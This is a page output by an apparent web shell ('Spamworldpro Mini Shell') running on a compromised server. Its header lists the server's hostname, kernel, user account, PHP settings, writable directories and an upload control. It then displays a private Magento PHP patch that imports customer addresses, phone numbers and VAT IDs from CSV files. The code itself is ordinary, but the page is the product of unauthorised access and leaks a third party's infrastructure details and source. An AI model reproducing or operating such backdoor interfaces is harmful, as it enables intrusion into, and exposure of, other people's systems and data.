Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/app/code/Cnc/Customer/Setup/Patch/Data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/app/code/Cnc/Customer/Setup/Patch/Data/ImportCustomerAddress.php
<?php

declare(strict_types=1);

namespace Cnc\Customer\Setup\Patch\Data;

use Kaliop\Core\Model\Import\AbstractImport;
use Magento\Directory\Model\Country;
use Magento\Directory\Model\Region;
use Magento\Framework\App\Filesystem\DirectoryList;
use Magento\Framework\App\ResourceConnection;
use Magento\Framework\Exception\FileSystemException;
use Magento\Framework\Exception\LocalizedException;
use Magento\Framework\Filesystem\Driver\File;
use Magento\Framework\Module\Dir\Reader;
use Magento\Framework\Setup\Patch\DataPatchInterface;

class ImportCustomerAddress extends AbstractImport implements DataPatchInterface
{
    const ADDRESS_FILENAME = 'addresses.csv';
    /** @var ResourceConnection */
    private $resourceConnection;

    /** @var array */
    private $countryMapping = [];

    /** @var array */
    private $phoneList = [];

    /**
     * @var Country
     */
    private $country;

    /** @var array  */
    private $regions = [];

    public function __construct(
        ResourceConnection $resourceConnection,
        File $fileSystem,
        DirectoryList $directoryList,
        Reader $moduleReader,
        Country $country
    ) {
        $this->resourceConnection = $resourceConnection;
        parent::__construct($fileSystem, $directoryList, $moduleReader);
        $this->country = $country;
    }

    public static function getDependencies(): array
    {
        return [];
    }

    public function apply(): void
    {
        $this->countryMapping = $this->getCountryMapping();
        $this->phoneList = $this->getPhoneList();

        $handle = $this->openFile('Cnc_Customer', self::ADDRESS_FILENAME);
        $this->fileSystem->fileGetCsv($handle, ',');

        while (($line = $this->fileSystem->fileGetCsv($handle, ',')) !== false) {
            $this->importLineFromAddress($line);
        }
    }

    private function importLineFromAddress($line): void
    {
        $id = $line[0];
        $customerId = $line[1];
        $gender = $line[2];
        $company = $line[3];
        $vat = $line[4];
        $vatUpdate = $line[5];
        $firstname = $line[6];
        $lastname = $line[7];
        $street = $line[8];
        $suburb = $line[9];
        $postcode = $line[10];
        $city = $line[11];
        $state = $line[12];
        $countryId = $line[13];
        $phone = isset($this->phoneList[$customerId]) ? $this->phoneList[$customerId] : '';

        if (!$countryId) {
            return;
        }

        if ($suburb) {
            $street .= "\n{$suburb}";
        }

        $countryId = (isset($this->countryMapping[$countryId]) ? $this->countryMapping[$countryId] : '');
        $data = [
            'city' => $city,
            'company' => $company,
            'country_id' => $countryId,
            'firstname' => $firstname,
            'lastname' => $lastname,
            'postcode' => $postcode,
            'street' => $street,
            'vat_id' => $vat,
            'address_id' => $id,
            'customer_id' => $customerId,
            'telephone' => $phone,
            'prefix' => ($gender == 'm' ? 'Mr' : 'Mrs')
        ];

        $regionData = $this->mapRegion($state, $countryId);
        if ($regionData) {
            $data['region'] = $regionData['default_name'];
            $data['region_id'] = $regionData['region_id'];
        }

        $this->resourceConnection->getConnection()->insert(
            $this->resourceConnection->getTableName('customer_address_entity'),
            $data
        );
    }

    public function getAliases(): array
    {
        return [];
    }

    /**
     * Get country mapping
     * @return array
     * @throws FileSystemException
     * @throws LocalizedException
     */
    private function getCountryMapping()
    {
        $mapping = [];
        $file = $this->openFile('Cnc_Customer', 'countries.csv');
        $header = $this->fileSystem->fileGetCsv($file, 0, ",");

        while ($row = $this->fileSystem->fileGetCsv($file, 0, ",")) {
            $data = array_filter(array_combine($header, $row));
            $mapping[$data['countries_id']] = $data['countries_iso_code_2'];
        }
        return $mapping;
    }

    /**
     * Get phone list for customers.
     *
     * @return array
     * @throws FileSystemException
     * @throws LocalizedException
     */
    private function getPhoneList()
    {
        $phones = [];
        $file = $this->openFile('Cnc_Customer', 'customers.csv');
        $header = $this->fileSystem->fileGetCsv($file, 0, ",");

        while ($row = $this->fileSystem->fileGetCsv($file, 0, ",")) {
            $data = array_filter(array_combine($header, $row));
            $phones[$data['customers_id']] = $data['customers_telephone'];
        }
        return $phones;
    }

    /**
     * Map given region and country to magento region.
     * @param $entryState
     * @param $countryId
     * @return array|false
     */
    private function mapRegion($entryState, $countryId)
    {
        $regions = $this->getRegions();
        foreach ($regions['items'] as $region) {
            if ($countryId == $region['country_id'] &&
                (strtolower($entryState) == strtolower($region['code']) ||
                 strtolower($entryState) == strtolower($region['default_name']))
            ) {
                return [
                    'region_id' => $region['region_id'],
                    'default_name' => $region['default_name']
                ];
            }
        }

        return false;
    }

    /**
     * @return array
     */
    private function getRegions()
    {
        if (empty($this->regions)) {
            $regions = $this->country->getLoadedRegionCollection();
            $this->regions = $regions->toArray();
        }

        return $this->regions;
    }
}

Spamworldpro Mini